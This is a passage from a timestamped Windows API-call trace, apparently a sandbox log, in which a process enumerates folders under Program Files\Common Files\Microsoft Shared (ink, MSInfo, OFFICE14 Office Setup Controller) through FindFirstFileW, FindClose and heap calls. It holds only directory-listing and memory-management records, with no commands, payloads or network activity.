Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.784] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.784] GetProcessHeap () returned 0x6a0000 [0167.784] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.785] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.785] GetProcessHeap () returned 0x6a0000 [0167.785] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.785] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0167.785] GetProcessHeap () returned 0x6a0000 [0167.785] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0167.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0167.786] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0167.787] GetProcessHeap () returned 0x6a0000 [0167.787] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0167.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0167.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.787] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.787] GetProcessHeap () returned 0x6a0000 [0167.787] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.787] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0167.788] GetProcessHeap () returned 0x6a0000 [0167.788] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0167.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0167.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.793] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.795] GetProcessHeap () returned 0x6a0000 [0167.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.795] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.795] GetProcessHeap () returned 0x6a0000 [0167.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.804] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.805] GetProcessHeap () returned 0x6a0000 [0167.805] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.806] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.806] GetProcessHeap () returned 0x6a0000 [0167.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.810] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.810] GetProcessHeap () returned 0x6a0000 [0167.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.812] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.812] GetProcessHeap () returned 0x6a0000 [0167.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0167.817] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0167.818] GetProcessHeap () returned 0x6a0000 [0167.818] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0167.819] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0167.819] GetProcessHeap () returned 0x6a0000 [0167.819] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0167.821] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0167.821] GetProcessHeap () returned 0x6a0000 [0167.821] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0167.822] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0167.822] GetProcessHeap () returned 0x6a0000 [0167.822] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0167.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0168.799] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0168.800] GetProcessHeap () returned 0x6a0000 [0168.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0168.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.075] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.075] GetProcessHeap () returned 0x6a0000 [0169.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.075] GetProcessHeap () returned 0x6a0000 [0169.075] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0169.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.348] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.348] GetProcessHeap () returned 0x6a0000 [0169.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.348] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.348] GetProcessHeap () returned 0x6a0000 [0169.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.348] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.348] GetProcessHeap () returned 0x6a0000 [0169.349] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.349] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.349] GetProcessHeap () returned 0x6a0000 [0169.349] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.349] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.359] GetProcessHeap () returned 0x6a0000 [0169.359] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.360] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.360] GetProcessHeap () returned 0x6a0000 [0169.360] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.360] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.360] GetProcessHeap () returned 0x6a0000 [0169.360] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.360] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.361] GetProcessHeap () returned 0x6a0000 [0169.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.361] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.361] GetProcessHeap () returned 0x6a0000 [0169.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.361] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.361] GetProcessHeap () returned 0x6a0000 [0169.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.361] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.361] GetProcessHeap () returned 0x6a0000 [0169.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.362] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0169.362] GetProcessHeap () returned 